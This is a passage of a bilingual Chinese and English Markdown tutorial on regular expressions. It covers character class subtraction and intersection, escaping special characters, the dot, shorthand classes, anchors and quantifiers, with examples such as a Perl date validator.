class with all `Unicode letters`, combine the ASCII and Greek characters into one class, and subtract that, as in `[\p{L}-[\p{IsBasicLatin}\p{IsGreek}]]`. + +#### Negation `^` Takes Precedence over Subtraction `[-]` +The character class `[^1234-[3456]]` is both `negated and subtracted from`. +- In all flavors that support character class subtraction, the `base class` is negated before it is subtracted from. +- This class should be read as `“(not 1234) minus 3456”`. +- Thus this character class matches any character other than the digits` 1, 2, 3, 4, 5, and 6`. + +#### Notational Compatibility with Other Regex Flavors +regex like `[a-z-[aeiuo]]` does not cause any errors in most regex flavors that do not support character class subtraction. + +- But it won’t match what you intended either. + +In most flavors, this regex consists of a character class followed by a literal `]`. +- The character class matches a character that is either in the range `a-z, or a hyphen, or an opening bracket, or a vowel`. +- Since the a-z range and the vowels are redundant, you could write this character class as `[a-z-[]` or `[-[a-z]` in Perl. +- A hyphen after a range `[abc]-` is treated as a literal character, just like a hyphen immediately after the opening bracket. This is true in the XML, .NET and JGsoft flavors too. + - `[a-z-_]` matches a lowercase letter, a hyphen or an underscore in these flavors. + +Strictly speaking, this means that the `character class subtraction` syntax is incompatible with Perl and the majority of other regex flavors. + +But in practice there’s no difference. + +Using non-alphanumeric characters in character class ranges is very bad practice because it relies on the order of characters in the ASCII character table. That makes the regular expression hard to understand for the programmer who inherits your work. + +While `[A-[]` would match any uppercase letter or an opening square bracket in Perl, this regex is much clearer when written as [A-Z[]. +- The former regex would cause an error with the XML, .NET and JGsoft flavors, because they interpret `-[]` as an empty `subtracted class`, leaving an unbalanced `[`. + +--- + +### Character Class `Intersection` `ampersands` `[class&&[intersect]]` +makes it easy to match `any single character that must be present in two sets of characters`. + +- syntax: `[class&&[intersect]]`. + + - Character class intersection is supported by Java, JGsoft V2, and by Ruby 1.9 and later. + + - If the intersected class does not need a negating caret `^` , then Java and Ruby allow you to omit the nested square brackets: `[class&&intersect]`. + + - You cannot omit the nested square brackets in PowerGREP. If you do, PowerGREP interprets the ampersands as literals. So in PowerGREP `[class&&intersect]` is a character class containing only literals, just like `[clas&inter]`. + +- The character class `[a-z&&[^aeiuo]]` matches a single letter that is not a vowel. In other words: it matches a single consonant. Without character class subtraction or intersection, the only way to do this would be to list all consonants: `[b-df-hj-np-tv-z]`. + +- The character class `[\p{Nd}&&[\p{IsThai}]]` matches any single Thai digit. `[\p{IsThai}&&[\p{Nd}]]` does exactly the same. + +#### Intersection of Multiple Classes +You can intersect the same class more than once. + +- `[0-9&&[0-6&&[4-9]]]` is the same as `[4-6]` as those are the only digits present in all three parts of the intersection. + +- In Java and Ruby you can write the same regex as `[0-9&&[0-6]&&[4-9]]`, `[0-9&&[0-6&&4-9]]`, `[0-9&&0-6&&[4-9]]`, or just `[0-9&&0-6&&4-9]`. The nested square brackets are only needed if one of the parts of the intersection is negated. + +- If you do not use square brackets around the right hand part of the intersection, then there is no confusion that the entire remainder of the character class is the right hand part of the intersection. + +- If you do use the square brackets, you could write something like `[0-9&&[12]56]`. + - In Ruby, this is the same as `[0-9&&1256]`. + - But Java has bugs that cause it to treat this as `[0-9&&56]`, completely ignoring the nested brackets. + - PowerGREP does not allow anything after the nested `]`. The characters `56` in `[0-9&&[12]56]` are an error. This way there is no ambiguity about their meaning. + +- You also shouldn’t put && at the very start or very end of the regex. Ruby treats `[0-9&&]` and `[&&0-9]` as intersections with an empty class, which `matches no characters at all`. + - Java ignores leading and trailing && operators. + - PowerGREP treats them as literal ampersands. + +#### negation `^` takes precedence over intersection `[1234&&[3456]]` +The character class `[^1234&&[3456]]` is both negated and intersected. + + - In Java and PowerGREP, negation takes precedence over intersection. + - Java and PowerGREP read this regex as `“(not 1234) and 3456”`. Thus in Java and PowerGREP this class is the same as [56] and matches the digits 5 and 6. + - In Ruby, intersection takes precedence over negation. Ruby reads `[^1234&&3456]` as `“not (1234 and 3456)”`. Thus in Ruby this class is the same as [^34] which matches anything except the digits 3 and 4. + +- If you want to negate the right hand side of the intersection, then you must use `square brackets`. Those automatically control precedence. + - So Java, PowerGREP, and Ruby all read `[1234&&[^3456]]` as `“1234 and (not 3456)”`. Thus this regex is the same as `[12]`. + +#### Notational Compatibility with Other Regex Flavors +The ampersand has no special meaning in character classes in any other regular expression flavors discussed in this tutorial. The ampersand is simply a literal, and repeating it just adds needless duplicates. All these flavors treat [1234&&3456] as identical to [&123456]. + +Strictly speaking, this means that the character class intersection syntax is incompatible with the majority of other regex flavors. But in practice there’s no difference, because there is no point in using two ampersands in a character class when you just want to add a literal ampersand. A single ampersand is still treated as a literal by Java, Ruby, and PowerGREP. + +--- + +## 普通字符 Literal Characters +普通字符包括: 没有显式指定为元字符的所有可打印和不可打印字符。 +- 这包括所有大写和小写字母、所有数字、所有标点符号和一些其他符号。 + +`/a/` +- string: "Jack is a boy" +- it matches the a after the J. +- a is in the middle of the word does not matter to the regex engine. +- This regex can match the second a too. +- It only does so when you tell the regex engine to start searching through the string after the first match. + - In a text editor, you can do so by using its “Find Next” or “Search Forward” function. + - In a programming language, there is usually a separate function that you can call to continue searching through the string after the previous match. + +`/cat/ ` +- "About cats and dogs" +- matches cat in "About cats and dogs". +- This regular expression consists of a series of three literal characters. +- This is like saying to the regex engine: find a `c`, immediately followed by an `a`, immediately followed by a `t`. + +regex engines are case sensitive by default. +- `cat` does not match `Cat`, unless you tell the regex engine to ignore differences in case. + +--- + +## 特殊字符 Special Characters +12 characters with special meanings + + 如上面说的 runoo*b 中的 `*`,简单的说就是表示任何字符串的意思。 + 如果要查找字符串中的 * 符号,则需要对 * 进行转义,即在其前加一个 `\`: `runo\*ob` 匹配 runo*ob。 + +正则表达式中的特殊字符: + +| 特别字符 | name | 描述 | +| -------- | --------------------------- | -------------------------------------------------------------------------- | +| `$` | dollar sign | 匹配输入字符串的结尾位置。 | +| -------- | --------------------------- | 设置RegExp对象的 Multiline 属性,则 `$` 也匹配 `\n` 或 `\r`。 | +| `( )` | opening/closing parenthesis | 标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。 | +| `*` | asterisk / star | 匹配前面的子表达式零次或多次。 | +| `+` | plus | 匹配前面的子表达式一次或多次。 | +| `.` | dot | 匹配 `除换行符 \n 之外的任何单字符`。 | +| `[` | opening square bracket | 标记一个中括号表达式的开始。 | +| `?` | question mark | 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。 | +| `\` | backslash | 将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。 | +| -------- | --------------------------- | 例 'n' 匹配字符 'n'。'\n' 匹配换行符。'\\' 匹配 `"\"`。`'\('` 匹配 `"("`。 | +| `^` | caret | 匹配输入字符串的开始位置,[^xxx]表示不接受该方括号表达式中的xxx字符集合。 | +| `{` | opening curly brace | 标记限定符表达式的开始。 | +| ` | ` | vertical bar / pipe symbol | 指明两项之间的一个选择。`^(a | b)oot` | + + +- 若要匹配这些特殊字符时特别对待。使字符"转义",将反斜杠字符 `\` 放在它们前面 + - want to use any of these characters as a literal in a regex, escape them with a backslash. +- All other characters should not be escaped with a backslash. That is because the backslash is also a special character. The backslash in combination with a literal character can create a regex token with a special meaning. + - E.g. \d is a shorthand that matches a single digit from 0 to 9. + +```cpp +1+1=2, with the backslash omitted, is a valid regex. + +// won’t get an error message. +But it doesn’t match 1+1=2. +It would match 111=2 in 123+111=234, due to the special meaning of the + + +// get an error message +where its use is not allowed, such as in +1 +``` + +- Escaping a single metacharacter with a backslash works in all regular expression flavors. +Some flavors also support the \Q…\E escape sequence. +All the characters between the \Q and the \E are interpreted as literal characters. + +`\Q*\d+*\E` matches the literal text `*\d+*`. +The \E may be omitted at the end of the regex, so `\Q*\d+*` is the same as `\Q*\d+*\E`. +This syntax is supported by the JGsoft engine, Perl, PCRE, PHP, Delphi, Java, both inside and outside character classes. Java 4 and 5 have bugs that cause \Q…\E to misbehave, however, so you shouldn’t use this syntax with Java. Boost supports it outside character classes, but not inside. + +--- + +### `.` dot + +```cpp +// [.] 只会匹配 .字符,等价于 \.,而非匹配除换行符 \n 外的所有字符。 +var str = "runoob.com"; +var patt1 = /[.]/; +document.write(str.match(patt1)); +``` + +The Dot Matches (Almost) Any Character + +The `dot` matches `a single character`, without caring what that character is. + +The only exception are `line break` characters. +- In all regex flavors, the dot does not match line breaks by default. +- This exception exists mostly because of historic reasons. The first tools that used regular expressions were line-based. They would read a file line by line, and apply the regular expression separately to each line. The effect is that with these tools, the string could never contain line breaks, so the dot could never match them. + +> Modern tools and languages can apply regular expressions to very large strings or even entire files. +> - Except for JavaScript and VBScript, all regex flavors discussed here have an option to make the dot match all characters, including line breaks. +> - In PowerGREP, tick the checkbox labeled `“dot matches line breaks”` to make the dot match all characters. +> - In EditPad Pro, turn on the `“Dot”` or `“Dot matches newline”` search option. +> - In Perl, the mode where the dot also matches line breaks is called `“single-line mode”`. activate single-line mode by adding an `s` after the regex code, like this:` m/^regex$/s;`. +> - Multi-line mode only affects `anchors` +> - single-line mode only affects the `dot`. + +Other languages and regex libraries have adopted Perl’s terminology. When using the regex classes of the .NET framework, you activate this mode by specifying `RegexOptions.Singleline`, such as in `Regex.Match`("string", "regex", RegexOptions.Singleline). + +> - JavaScript and VBScript do not have an option to make the `dot` match `line break characters`. In those languages, use a character class such as `[\s\S]` to match any character. This character matches a character that is either a whitespace character (including line break characters), or a character that is not a whitespace character. Since all characters are either whitespace or non-whitespace, this character class matches any character. +> - In all of Boost’s regex grammars the dot matches line breaks by default. Boost’s ECMAScript grammar allows you to turn this off with regex_constants::no_mod_m. + + +#### Use The Dot Sparingly +The dot is a very powerful regex metacharacter. everything matches just fine when you test the regex on valid data. +The problem is that the regex also matches in cases where it should not match. + +example. + + - to match a date in `mm/dd/yy` format, but want to leave the user the choice of date separators. + - The quick solution is `\d\d.\d\d.\d\d`. + - It matches a date like 02/12/03 just fine. + - 02512703 is also considered a valid date by this regular expression. + + - `\d\d[- /.]\d\d[- /.]\d\d` is a better solution. + - This regex allows a `dash, space, dot and forward slash` as date separators. + - the dot is not a metacharacter inside a character class, do not need to escape with a backslash. + but It matches 99/99/99 as a valid date. + + - `[01]\d[- /.][0-3]\d[- /.]\d\d` + - but it still matches 19/39/99. + +##### example: Matching a Valid Date +`^(19|20)\d\d[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])$` matches a date in yyyy-mm-dd format from 1900-01-01 through 2099-12-31, with a choice of four separators. + - The anchors make sure the entire variable is a date, and not a piece of text containing a date. + - The year is matched by `(19|20)\d\d`. `Parentheses ()` are the only way to stop the vertical bar from splitting up the entire regular expression into two options. + - The month is matched by `0[1-9]|1[012]`, again enclosed by `parentheses()` to keep the two options together. By using character classes, the first option matches a number between 01 and 09, and the second matches 10, 11 or 12. + - The last part of the regex consists of three options. The first matches the numbers 01 through 09, the second 10 through 29, and the third matches 30 or 31. + +but it include invalid dates such as 2000-00-00 that could not have been excluded without using alternation. To be really perfectionist, you would have to split up the month into various options to take into account the length of the month. +The above regex still matches 2003-02-31, which is not a valid date. Making leading zeros optional could be another enhancement. + +to require the delimiters to be consistent +- use a backreference. +- `^(19|20)\d\d([- /.])(0[1-9]|1[012])\2(0[1-9]|[12][0-9]|3[01])$` will match 1999-01-01 but not 1999/01-01. + +Again, how complex you want to make your regular expression depends on the data you are using it on, and how big a problem it is if an unwanted match slips through. If you are validating the user’s input of a date in a script, it is probably easier to do certain checks outside of the regex. +For example, excluding February 29th when the year is not a leap year is far easier to do in a scripting language. It is far easier to check if a year is divisible by 4 (and not divisible by 100 unless divisible by 400) using simple arithmetic than using regular expressions. + +Here is how you could check a valid date in Perl. I also added parentheses to capture the year into a backreference. + +``` +sub isvaliddate { + my $input = shift; + if ($input =~ m!^((?:19|20)\d\d)[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])$!) { + # At this point, $1 holds the year, $2 the month and $3 the day of the date entered + if ($3 == 31 and ($2 == 4 or $2 == 6 or $2 == 9 or $2 == 11)) { + return 0; # 31st of a month with 30 days + } elsif ($3 >= 30 and $2 == 2) { + return 0; # February 30th or 31st + } elsif ($2 == 2 and $3 == 29 and not ($1 % 4 == 0 and ($1 % 100 != 0 or $1 % 400 == 0))) { + return 0; # February 29th outside a leap year + } else { + return 1; # Valid date + } + } else { + return 0; # Not a date + } +} +``` + +To match a date in mm/dd/yyyy format, rearrange the regular expression to `^(0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])[- /.](19|20)\d\d$`. For dd-mm-yyyy format, use `^(0[1-9]|[12][0-9]|3[01])[- /.](0[1-9]|1[012])[- /.](19|20)\d\d$`. You can find additional variations of these regexes in RegexBuddy’s library. + +--- + +### `\` backslash +将下一个字符标记为一个特殊字符、或一个原义字符、或一个 向后引用、或一个八进制转义符。 +- 例如, +- 'n' 匹配字符 "n"。'\n' 匹配一个换行符。 +- 序列 '\\' 匹配 "\" 而 "\(" 则匹配 "("。 + +### `^` caret +匹配输入字符串的开始位置。 +- 如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\n' 或 '\r' 之后的位置。 + +### `$` dollar sign +匹配输入字符串的结束位置。 +- 如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\n' 或 '\r' 之前的位置。 + +### `*` asterisk / star +匹配前面的子表达式零次或多次。 +- 例如,zo* 能匹配 "z" 以及 "zoo"。* 等价于{0,}。 + +### `+` plus +匹配前面的子表达式一次或多次。 +- 例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。 + +### `?` question mark +匹配前面的子表达式零次或一次。 +- 例如,"do(es)?" 可以匹配 "do" 或 "does" 。? 等价于 {0,1}。 + +### Special Characters and Programming Languages +If you are a programmer, you may be surprised that characters like the single quote and double quote are not special characters. That is correct. When using a regular expression or grep tool like PowerGREP or the search function of a text editor like EditPad Pro, you should not escape or repeat the quote characters like you do in a programming language. + +In your source code, you have to keep in mind `which characters get special treatment inside strings` by your programming language. +- That is because those characters are processed by the compiler, before the regex library sees the string. +- So the regex 1\+1=2 must be written as "1\\+1=2" in C++ code. The C++ compiler turns the escaped backslash in the source code into a single backslash in the string that is passed on to the regex library. To match c:\temp, you need to use the regex c:\\temp. As a string in C++ source code, this regex becomes "c:\\\\temp". Four backslashes to match a single one indeed. + + +--- + + +## 非打印字符 Non-Printable Characters +非打印字符也可以是正则表达式的组成部分。下表列出了表示非打印字符的转义序列: + +lowercase letters / capital letter + +| 字符 | 描述 | +| ------ | -------------------------------------------------------------------------- | +| `\cX` | 匹配由X指明的控制字符。to insert ASCII control characters | +| ------ | The letter after the backslash is always a lowercase c | +| ------ | X 必须为 A-Za-z 之一。 Only Java requires the A to Z to be uppercase. | +| ------ | 否则将 c 视为一个原义的 'c' 字符。 | +| `\cM` | 匹配一个 Control-M 或 carriage return, just like \r, \x0D, and \u000D | +| ------ | +| `\f` | 匹配一个换页符。`form feed` (0x0C). 等价于 \x0c 和 \cL。 | +| `\t` | 匹配一个制表符. `tab` character (ASCII 0x09)。等价于 \x09 和 \cI。 | +| `\v` | 匹配一个垂直制表符。vertical tab (ASCII 0x0B). 等价于 \x0b 和 \cK。 | +| `\a` | (bell, 0x07) | +| `\e` | (escape, 0x1B) | +| ------ | +| `\r` | 匹配一个回车符。`carriage return` (0x0D). 等价于 \x0d 和 \cM。 | +| `\R` | matches any line break, including Unicode line breaks. | +| ------ | +| `\s` | 匹配任何`空白字符`,包括空格、制表符、换页符等等。等价于 `[ \f\n\r\t\v]`。 | +| ------ | 注意 Unicode 正则表达式会匹配全角空格符。 | +| `\S` | 匹配任何`非空白字符`。等价于 `[^ \f\n\r\t\v]`。 | +| ------ | +| `\w` | “word character ASCII characters”. 匹配字母、数字、下划线 | +| `\W` | 匹配非字母、数字、下划线。等价于 `[^A-Za-z0-9_]`。 | +| ------ | +| `\n` | 匹配一个换行符。`line feed` (0x0A). 等价于 \x0a 和 \cJ。 | +| ------ | Windows use `\r\n` to terminate lines, UNIX use `\n`. | +| `\N` | matches any single character that is not a line break, like the dot does. | + +--- + +### Shorthand Character Classes `[\lowercase letter]` +Since certain character classes are used often, a series of shorthand character classes are available. + +### Negated Shorthand Character Classes `[\capital letter]` + +1. The above three shorthands also have `negated versions`. + - `\D` is the same as `[^\d]` + - `\W` is short for `[^\w]` + - `\S` is the equivalent of `[^\s]` + +2. Be careful when using the `negated shorthands inside square brackets`. + - `[\D\S]` is not the same as `[^\d\s]`. + - `[^\d\s]` matches *any character that is neither a digit nor whitespace*. + - It matches x, but not 8. + - `[\D\S]` matches *any character that is either not a digit, or is not whitespace*. all digits are not whitespace, and all whitespace characters are not digits, + - `[\D\S]` matches any character; digit, whitespace, or otherwise. + +--- + +### `\d` [0-9]. 匹配一个数字字符 +In most flavors that support Unicode, `\d` includes all `digits` from all scripts. +- Notable exceptions are Java, JavaScript, and PCRE. +- These Unicode flavors match only ASCII digits with `\d`. + +### `\w` “word character ASCII characters”. 匹配字母、数字、下划线 +It always matches the ASCII characters `[A-Za-z0-9_]`. +- Notice the inclusion of the underscore and digits. In most flavors that support Unicode, +- \w includes many characters from other scripts. There is a lot of inconsistency about which characters are actually included. Letters and digits from alphabetic scripts and ideographs are generally included. Connector punctuation other than the underscore and numeric symbols that aren’t digits may or may not be included. + - XML Schema and XPath even include *all symbols* in `\w`. + - Java, JavaScript, and PCRE match *only ASCII characters* with `\w`. + +### `\W` 匹配非字母、数字、下划线。 +等价于 '[^A-Za-z0-9_]'。 + +### `\s` “whitespace character”. + +`\s` 匹配任何空白字符,包括空格、制表符、换页符等等。 +等价于 [ \f\n\r\t\v]。 + +Again, which characters this actually includes, depends on the regex flavor. +- In all flavors discussed, it includes `[ \t\r\n\f]`. +- matches `a space, a tab, a carriage return, a line/form feed`. + +`[\s\S]` match any character. +- This character matches a character that is either a whitespace character (including line break characters), or a character that is not a whitespace character. Since all characters are either whitespace or non-whitespace, this character class matches any character. + +- Most flavors also include the vertical tab, with Perl (prior to version 5.18) and PCRE (prior to version 8.34) being notable exceptions. +- In flavors that support Unicode, \s normally includes all characters from the Unicode “separator” category. +- Java and PCRE are exceptions once again. +- But JavaScript does match all Unicode whitespace with \s. + +Shorthand character classes can be used both inside and outside the square brackets. + - \s\d matches a whitespace character followed by a digit. + - [\s\d] matches a single character that is either whitespace or a digit. + - When applied to 1 + 2 = 3, the former regex matches ` 2 (space two)`, while the latter matches 1 (one). + - [\da-fA-F] matches a hexadecimal digit, and is equivalent to [0-9a-fA-F] if your flavor only matches ASCII characters with `\d`. + +### `\S` 匹配任何非空白字符。 +等价于 [^ \f\n\r\t\v]。 + +### `\n` Line Break +The tutorial page about the dot already discussed which characters are seen as line break characters by the various regex flavors. This affects the anchors just as much when in multi-line mode, and when the dollar matches before the end of the final break. The anchors handle line breaks that consist of a single character the same way as the dot in each regex flavor. + +For anchors there’s an additional consideration when CR and LF occur as a pair and the regex flavor treats both these characters as line breaks. Delphi, Java, and the JGsoft flavor treat CRLF as an indivisible pair. ^ matches after CRLF and $ matches before CRLF, but neither match in the middle of a CRLF pair. JavaScript and XPath treat CRLF pairs as two line breaks. ^ matches in the middle of and after CRLF, while $ matches before and in the middle of CRLF. + +### `\N` Never Matches Line Breaks + +Perl 5.12 and PCRE 8.10 introduced `\N` which matches any single character that is not a line break, just like the dot does. +- Unlike the dot, `\N` is not affected by “single-line mode”. `(?s)\N.` turns on `single-line mode` and then matches any character that is not a line break followed by any character regardless of whether it is a line break. + +PCRE’s options that control which characters are treated as line breaks affect \N in exactly the same way as they affect the dot. + +PHP 5.3.4 and R 2.14.0 also support \N as their regex support is based on PCRE 8.10 or later. JGsoft V2 also supports \N. + + +### `\b` +匹配一个单词边界,也就是指单词和空格间的位置。 +- 例如, +- 'er\b' 可以匹配"never" 中的 'er',但不能匹配 "verb" 中的 'er'。 + +### `\B` +匹配非单词边界。 +- 例如, +- 'er\B' 能匹配 "verb" 中的 'er',但不能匹配 "never" 中的 'er'。 + +### `\cx` +匹配由 x 指明的控制字符。 +- 例如, +- \cM 匹配一个 Control-M 或回车符。x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。 + + +### `\D` +匹配一个非数字字符。等价于 [^0-9]。 + +### `\f` +匹配一个换页符。等价于 \x0c 和 \cL。 + +### `\n` 匹配一个换行符。 +等价于 \x0a 和 \cJ。 + +### `\r` 匹配一个回车符。 +等价于 \x0d 和 \cM。 + + +### `\t` 匹配一个制表符。 +等价于 \x09 和 \cI。 + +### `\v` 匹配一个垂直制表符。 +等价于 \x0b 和 \cK。 + +### `\xn` +匹配 n,其中 n 为十六进制转义值。 +十六进制转义值必须为确定的两个数字长。 +- 例如, +- '\x41' 匹配 "A"。 +- '\x041' 则等价于 '\x04' & "1"。正则表达式中可以使用 ASCII 编码。 + +### `\num` +匹配 num,其中 num 是一个正整数。对所获取的匹配的引用。 +- 例如 +- '(.)\1' 匹配两个连续的相同字符。 + +### `\n` +标识一个八进制转义值或一个向后引用。如果 \n 之前至少 n 个获取的子表达式,则 n 为向后引用。否则,如果 n 为八进制数字 (0-7),则 n 为一个八进制转义值。 + +### `\nm` +标识一个八进制转义值或一个向后引用。如果 \nm 之前至少有 nm 个获得子表达式,则 nm 为向后引用。如果 \nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的向后引用。如果前面的条件都不满足,若 n 和 m 均为八进制数字 (0-7),则 \nm 将匹配八进制转义值 nm。 + +### `\nml` +如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。 + +### `\un` +匹配 n,其中 n 是一个用四个十六进制数字表示的 Unicode 字符。例如, \u00A9 匹配版权符号 (?)。 + + +### More Shorthand Character Classes +While support for `\d`, `\s`, and `\w` is quite universal, there are some regex flavors that support additional shorthand character classes. + +> Perl 5.10 introduced \h and \v. +\h matches horizontal whitespace, which includes the tab and all characters in the “space separator” Unicode category. It is the same as [\t\p{Zs}]. +\v matches “vertical whitespace”, which includes all characters treated as line breaks in the Unicode standard. It is the same as [\n\cK\f\r\x85\x{2028}\x{2029}]. + +> PCRE also supports \h and \v starting with version 7.2. +PHP does as of version 5.2.2, Java as of version 8, and the JGsoft engine as of version 2. +Boost supports \h starting with version 1.42. No version of Boost supports \v as a shorthand. + +> In many other regex flavors, \v matches only the vertical tab character. Perl, PCRE, and PHP never supported this, so they were free to give \v a different meaning. +> Java 4 to 7 and JGsoft V1 did use \v to match only the vertical tab. +> Java 8 and JGsoft V2 changed the meaning of this token anyway. The vertical tab is also a vertical whitespace character. +To avoid confusion, the above paragraph uses `\cK` to represent the vertical tab. + +> Ruby 1.9 and later have their own version of \h. It matches a single hexadecimal digit just like [0-9a-fA-F]. \v is a vertical tab in Ruby. + +### XML Character Classes +XML Schema, XPath, and JGsoft V2 regular expressions support four more shorthands that aren’t supported by any other regular expression flavors. + +\i matches any character that may be the first character of an XML name. + +\c matches any character that may occur after the first character in an XML name. + +\I and \C are the respective negated shorthands. Note that the \c shorthand syntax conflicts with the control character syntax used in many other regex flavors. + +You can use these four shorthands both inside and outside character classes using the bracket notation. +They’re very useful for validating XML references and values in your XML schemas. +The regular expression \i\c* matches an XML name like `xml:schema`. + +The regex `<\i\c*\s*>` matches an opening XML tag without any attributes. `` matches any closing tag. `<\i\c*(\s+\i\c*\s*=\s*("[^"]*"|'[^']*'))*\s*>` matches an opening tag with any number of attributes. Putting it all together, `<(\i\c*(\s+\i\c*\s*=\s*("[^"]*"|'[^']*'))*|/\i\c*)\s*>` matches either an opening tag with attributes or a closing tag. + +No other regex flavors discussed in this tutorial support XML character classes. + +If your XML files are plain ASCII , you can use `[_:A-Za-z] for \i and [-._:A-Za-z0-9]` for `\c`. If you want to allow all Unicode characters that the XML standard allows, then you will end up with some pretty long regexes. You would have to use `[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D +\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD] instead of \i and [-.0-9:A-Z_a-z\u00B7\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u037D\u037F-\u1FFF\u200C-\u200D +\u203F\u2040\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD] instead of \c`. + +--- + +## Anchors 定位符 +Anchors are a different breed. They do not match any character at all. +- Instead, they match a position before, after, or between characters. +- They can be used to “anchor” the regex match at a certain position. + +将正则表达式固定到行首或行尾。用来描述字符串或单词的边界 + +正则表达式的定位符有: + +| 字符 | 描述 | +| ---- | ------------------------------------------------------------------------------------------------------- | +| `^` | 匹配输入字符串`开始`的位置。如果设置了 RegExp 对象的 Multiline 属性,^ 还会与 \n 或 \r 之后的位置匹配。 | +| `$` | 匹配输入字符串`结尾`的位置。如果设置了 RegExp 对象的 Multiline 属性,$ 还会与 \n 或 \r 之前的位置匹配。 | +| `\b` | 匹配一个`单词边界`,即字与空格间的位置。 | +| `\B` | `非单词边界`匹配。 | + +注意:不能将限定符与定位符一起使用。 +- 由于在紧靠换行或者单词边界的前面或后面不能有一个以上位置,因此不允许诸如 ^* 之类的表达式。 + +### `^` and `$` as Start of Line and End of Line Anchors +若要匹配一行文本开始处的文本,在正则表达式的开始使用 ^ 字符。 +- 不要将 ^ 的这种用法与中括号表达式内的用法混淆。 + +若要匹配一行文本的结束处的文本,在正则表达式的结束处使用 $ 字符。 + +A string consisting of multiple lines: `first line\nsecond line` (`\n` indicates a line break) +- most regex engines discussed in this tutorial have the option to `expand the meaning of both anchors`. +- `^`: match at the start of the string (before the f in the above string), and after each line break (between `\n` and s). +- `$`: matches at the end of the string (after the last e), and before every line break (between e and `\n`). + +> In text editors like EditPad Pro or GNU Emacs, and regex tools like PowerGREP, the caret and dollar always match at the start and end of each line. This makes sense because those applications are designed to work with entire files, rather than short strings. In Ruby and std::regex the caret and dollar also always match at the start and end of each line. In Boost they match at the start and end of each line by default. Boost allows you to turn this off with regex_constants::no_mod_m when using the ECMAScript grammar. +> In all other programming languages and libraries discussed on this website , you have to explicitly activate this extended functionality. It is traditionally called “multi-line mode”. In Perl, you do this by adding an m after the regex code, like this: m/^regex$/m;. In .NET, the anchors match before and after newlines when you specify RegexOptions.Multiline, such as in Regex.Match("string", "regex", RegexOptions.Multiline). + +1. 若要在搜索章节标题时使用定位点,下面的正则表达式匹配一个章节标题,该标题只包含两个尾随数字,并且出现在行首: + - `/^Chapter [1-9][0-9]{0,1}/` + +2. 真正的章节标题不仅出现行的开始处,而且它还是该行中仅有的文本。它即出现在行首又出现在同一行的结尾。下面的表达式能确保指定的匹配只匹配章节而不匹配交叉引用。通过创建只匹配一行文本的开始和结尾的正则表达式,就可做到这一点。 + - `/^Chapter [1-9][0-9]{0,1}$/` + +3. 匹配单词边界稍有不同,但向正则表达式添加了很重要的能力。单词边界是单词和空格之间的位置。非单词边界是任何其他位置。`\b` 字符的位置是非常重要的。 + - 如果它位于要匹配的字符串的开始,它在单词的开始处查找匹配项。下面的表达式匹配单词 Chapter 的开头三个字符,因为这三个字符出现在单词边界后面: + - `/\bCha/` + + - 如果它位于字符串的结尾,它在单词的结尾处查找匹配项。下面的表达式匹配单词 Chapter 中的字符串 ter,因为它出现在单词边界的前面: + - `/ter\b/` + +4. 下面的表达式匹配 Chapter 中的字符串 apt,但不匹配 aptitude 中的字符串 apt: + + - /\Bapt/ + + - 字符串 apt 出现在单词 Chapter 中的非单词边界处,但出现在单词 aptitude 中的单词边界处。 + - 对于 \B 非单词边界运算符,位置并不重要,因为匹配不关心究竟是单词的开头还是结尾。 + +#### `^` 和 `[^指定字符串]` 之间的区别: + +^ 指的是匹配字符串开始的位置 + +[^指定字符串] 指的是除指定字符串以外的其他字符串 + + (^[0-9])+ //匹配有一至多个数字的字符串组合 + [^[0-9]]+ // 匹配有一至多个不含数字的字符串组合 + +### Useful Applications +When using regular expressions in a programming language to validate user input, anchors is very important. + +`if ($input =~ m/\d+/)` in a Perl script to see if the user entered an integer number +- it will accept the input even if the user entered qsdf4ghjk, because `\d+` matches the 4. +- The correct regex to use is `^\d+$`. as “start of string” must be matched before the match of `\d+`, and “end of string” must be matched right after it, the entire string must consist of digits for `^\d+$` to be able to match. + +It is easy for the user to accidentally type in a space. When Perl reads from a line from a text file, the line break is also be stored in the variable. So before validating input, it is good practice to trim leading and trailing whitespace. + +`^\s+` matches leading whitespace and `\s+$` matches trailing whitespace. +- In Perl, use `$input =~ s/^\s+|\s+$//g`. Handy use of alternation and `/g` allows us to do this in a single line of code. + +--- + +## 限定符 +限定符用来指定正则表达式的一个给定组件必须要`出现多少次`才能满足匹配。有 * 或 + 或 ? 或 {n} 或 {n,} 或 {n,m} 共6种。 + +正则表达式的限定符有: + +| 字符 | 描述 | ex | +| ------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | +| `*` | 匹配前面的子表达式`零次或多次`。 | 例如,zo* 能匹配 "z" 以及 "zoo"。* 等价于{0,}。 | +| `+` | 匹配前面的子表达式`一次或多次`。 | 例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。 | +| `?` | 匹配前面的子表达式`零次或一次`。 | 例如,"do(es)?" 可以匹配 "do" 、 "does" 中的 "does" 、 "doxy" 中的 "do" 。? 等价于 {0,1}。 | +| `{n}` | n 是一个非负整数。匹配确定的 n 次。 | 例如,'o{2}' 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。 | +| `{n,}` | n 是一个非负整数。至少匹配 n 次。 | 例如,'o{2,}' 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。 | +| `{n,m}` | m 和 n 